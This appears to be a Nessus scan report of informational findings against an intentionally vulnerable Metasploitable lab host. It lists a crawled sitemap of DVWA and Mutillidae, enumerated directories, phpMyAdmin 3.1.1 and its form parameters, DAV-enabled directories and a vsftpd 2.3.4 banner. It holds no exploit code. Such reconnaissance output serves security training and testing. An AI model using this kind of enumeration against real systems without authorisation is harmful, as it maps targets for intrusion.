The remote web server hosts linkable content that can be crawled by Nessus.

Description

The remote web server contains linkable content that can be used to gather information about a target.

See Also

<http://www.nessus.org/u?5496c8d9>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2016/06/24, Modified: 2016/06/24

Plugin Output

tcp/80/www

The following sitemap was created from crawling linkable content on the target host :

- <http://192.168.50.152/>
- <http://192.168.50.152/dav/>
- <http://192.168.50.152/dvwa/dvwa/>
- <http://192.168.50.152/dvwa/dvwa/css/>
- <http://192.168.50.152/dvwa/dvwa/css/help.css>
- <http://192.168.50.152/dvwa/dvwa/css/login.css>
- <http://192.168.50.152/dvwa/dvwa/css/main.css>
- <http://192.168.50.152/dvwa/dvwa/css/source.css>
- <http://192.168.50.152/dvwa/dvwa/images/>
- <http://192.168.50.152/dvwa/dvwa/images/RandomStorm.png>
- <http://192.168.50.152/dvwa/dvwa/images/dollar.png>
- <http://192.168.50.152/dvwa/dvwa/images/lock.png>
- http://192.168.50.152/dvwa/dvwa/images/login_logo.png
- <http://192.168.50.152/dvwa/dvwa/images/logo.png>
- <http://192.168.50.152/dvwa/dvwa/images/spanner.png>
- <http://192.168.50.152/dvwa/dvwa/images/warning.png>
- <http://192.168.50.152/dvwa/dvwa/includes/>
- <http://192.168.50.152/dvwa/dvwa/includes/DBMS/>
- <http://192.168.50.152/dvwa/dvwa/includes/DBMS/DBMS.php>
- <http://192.168.50.152/dvwa/dvwa/includes/DBMS/MySQL.php>
- <http://192.168.50.152/dvwa/dvwa/includes/dvwaPage.inc.php>
- <http://192.168.50.152/dvwa/dvwa/includes/dvwaPhpIds.inc.php>

- <http://192.168.50.152/dvwa/dvwa/js/>
- <http://192.168.50.152/dvwa/dvwa/js/dvwaPage.js>
- <http://192.168.50.152/dvwa/login.php>
- <http://192.168.50.152/mutillidae/>
- <http://192.168.50.152/mutillidae/documentation/>
- <http://192.168.50.152/mutillidae/documentation/Mutillidae-Test-Scripts.txt>
- <http://192.168.50.152/mutillidae/documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php>
- <http://192.168.50.152/mutillidae/documentation/mutillidae-installation-on-xampp-win7.pdf>
- <http://192.168.50.152/mutillidae/documentation/sqlmap-help.txt>
- <http://192.168.50.152/mutillidae/documentation/vulnerabilities.php>
- <http://192.168.50.152/mutillidae/favicon.ico>
- <http://192.168.50.152/mutillidae/framer.html>
- <http://192.168.50.152/mutillidae/index.php>
- <http://192.168.50.152/mutillidae/set-up-database.php>
- [http://192.1 \[...\]](http://192.1 [...])

11032 - Web Server Directory Enumeration

Synopsis

It is possible to enumerate directories on the web server.

Description

This plugin attempts to determine the presence of various common directories on the remote web server. By sending a request for a directory, the web server response code indicates if it is a valid directory or not.

See Also

<http://projects.webappsec.org/w/page/13246953/Predictable%20Resource%20Location>

Solution

n/a

Risk Factor

None

References

XREF OWASP:OWASP-CM-006

Plugin Information

Published: 2002/06/26, Modified: 2024/06/07

Plugin Output

tcp/80/www

```
The following directories were discovered:  
/cgi-bin, /doc, /test, /icons, /phpMyAdmin, /twiki/bin
```

```
While this is not, in and of itself, a bug, you should manually inspect  
these directories to ensure that they are in compliance with company  
security standards
```

49705 - Web Server Harvested Email Addresses

Synopsis

Email addresses were harvested from the web server.

Description

Nessus harvested HREF mailto: links and extracted email addresses by crawling the remote web server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/10/04, Modified: 2018/05/24

Plugin Output

tcp/80/www

The following email address has been gathered :

- 'SomeWikiName@somewhere.test', referenced from :
/twiki/TWikiHistory.html

Synopsis

The remote web server hosts office-related files.

Description

This plugin connects to the remote web server and attempts to find office-related files such as .doc, .ppt, .xls, .pdf etc.

Solution

Make sure that such files do not contain any confidential or otherwise sensitive information and that they are only accessible to those with valid credentials.

Risk Factor

None

Plugin Information

Published: 2003/03/19, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
The following office-related files are available on the remote server :
```

```
- Adobe Acrobat files (.pdf) :  
  /mutillidae/documentation/mutillidae-installation-on-xampp-win7.pdf
```

Synopsis

Nessus can crawl the remote website.

Description

This plugin makes a mirror of the remote website(s) and extracts the list of CGIs that are used by the remote host.

It is suggested that you change the number of pages to mirror in the 'Options' section of the client.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2001/05/04, Modified: 2024/07/17

Plugin Output

tcp/80/www

```
Webmirror performed 100 queries in 8s (12.0500 queries per second)
```

```
The following CGIs have been discovered :
```

```
+ CGI : /phpMyAdmin/phpmyadmin.css.php
  Methods : GET
  Argument : js_frame
    Value: right
  Argument : nocache
    Value: 2457687233
  Argument : token
    Value: cded404518b3dae1de8c023330a94bcd

+ CGI : /phpMyAdmin/index.php
  Methods : POST
  Argument : db
  Argument : lang
  Argument : pma_password
  Argument : pma_username
  Argument : server
    Value: 1
  Argument : table
  Argument : token
    Value: cded404518b3dae1de8c023330a94bcd
```

```
+ CGI : /mutillidae/index.php
Methods : GET
Argument : do
  Value: toggle-security
Argument : page
  Value: notes.php
Argument : username
  Value: anonymous

+ CGI : /mutillidae/
Methods : GET
Argument : page
  Value: source-viewer.php

+ CGI : /rdiff/TWiki/TWikiHistory
Methods : GET
Argument : rev1
  Value: 1.8
Argument : rev2
  Value: 1.7

+ CGI : /view/TWiki/TWikiHistory
Methods : GET
Argument : rev
  Value: 1.7

+ CGI : /oops/TWiki/TWikiHistory
Methods : GET
Argument : param1
  Value: 1.10
Argument : template
  Value: oopsrev

+ CGI : /twiki/bin/view/Main/WebHome
Methods : GET
Argument : topic

+ CGI : /twiki/bin/search/Main/SearchResult
Methods : GET
Argument : search

+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/edit/Main/WebHome
Methods : GET
Argument : t
  Value: 1726063142

+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/search/Main/SearchResult
Methods : GET
Argument : regex
  Value: on
Argument : scope
  Value: text
Argument : search
  Value: Web%20*Home%5B%5EA-Za-z%5D

+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/view/Main/WebHome
Methods : GET
Argument : rev
  Value: 1.18
Argument : skin
```

Value: print

```
+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/rdiff/Main/WebHome
Methods : GET
Argument : rev1
Value: 1.19
Argument : rev2
Value: 1.18

+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/oops/Main/WebHome
Methods : GET
Argument : param1
Value: 1.20
Argum [...]
```

11424 - WebDAV Detection

Synopsis

The remote server is running with WebDAV enabled.

Description

WebDAV is an industry standard extension to the HTTP specification.

It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

Solution

<http://support.microsoft.com/default.aspx?kbid=241520>

Risk Factor

None

Plugin Information

Published: 2003/03/20, Modified: 2011/03/14

Plugin Output

tcp/80/www

24004 - WebDAV Directory Enumeration

Synopsis

Several directories on the remote host are DAV-enabled.

Description

WebDAV is an industry standard extension to the HTTP specification.

It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

Solution

Disable DAV support if you do not use it.

Risk Factor

None

Plugin Information

Published: 2007/01/11, Modified: 2011/03/14

Plugin Output

tcp/80/www

```
The following directories are DAV enabled :  
- /dav/
```


Synopsis

It was possible to obtain the network name of the remote host.

Description

The remote host is listening on UDP port 137 or TCP port 445, and replies to NetBIOS nbtscan or SMB requests.

Note that this plugin gathers information to be used in other plugins, but does not itself generate a report.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/10/12, Modified: 2021/02/10

Plugin Output

tcp/445/cifs

```
The following 2 NetBIOS names have been gathered :
```

```
METASPLOITABLE  = Computer name
METASPLOITABLE  = Workgroup / Domain name
```

17219 - phpMyAdmin Detection

Synopsis

The remote web server hosts a database management application written in PHP.

Description

The remote host is running phpMyAdmin, a web-based MySQL administration tool written in PHP.

See Also

<https://www.phpmyadmin.net/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/02/25, Modified: 2022/06/01

Plugin Output

tcp/80/www

```
The following instance of phpMyAdmin was detected on the remote host :
```

```
Version : 3.1.1
URL      : http://192.168.50.152/phpMyAdmin/
```

52703 - vsftpd Detection

Synopsis

An FTP server is listening on the remote port.

Description

The remote host is running vsftpd, an FTP server for UNIX-like systems written in C.

See Also

<http://vsftpd.beasts.org/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/03/17, Modified: 2019/11/22

Plugin Output

tcp/21/ftp

```
Source  : 220 (vsFTPd 2.3.4)
Version : 2.3.4
```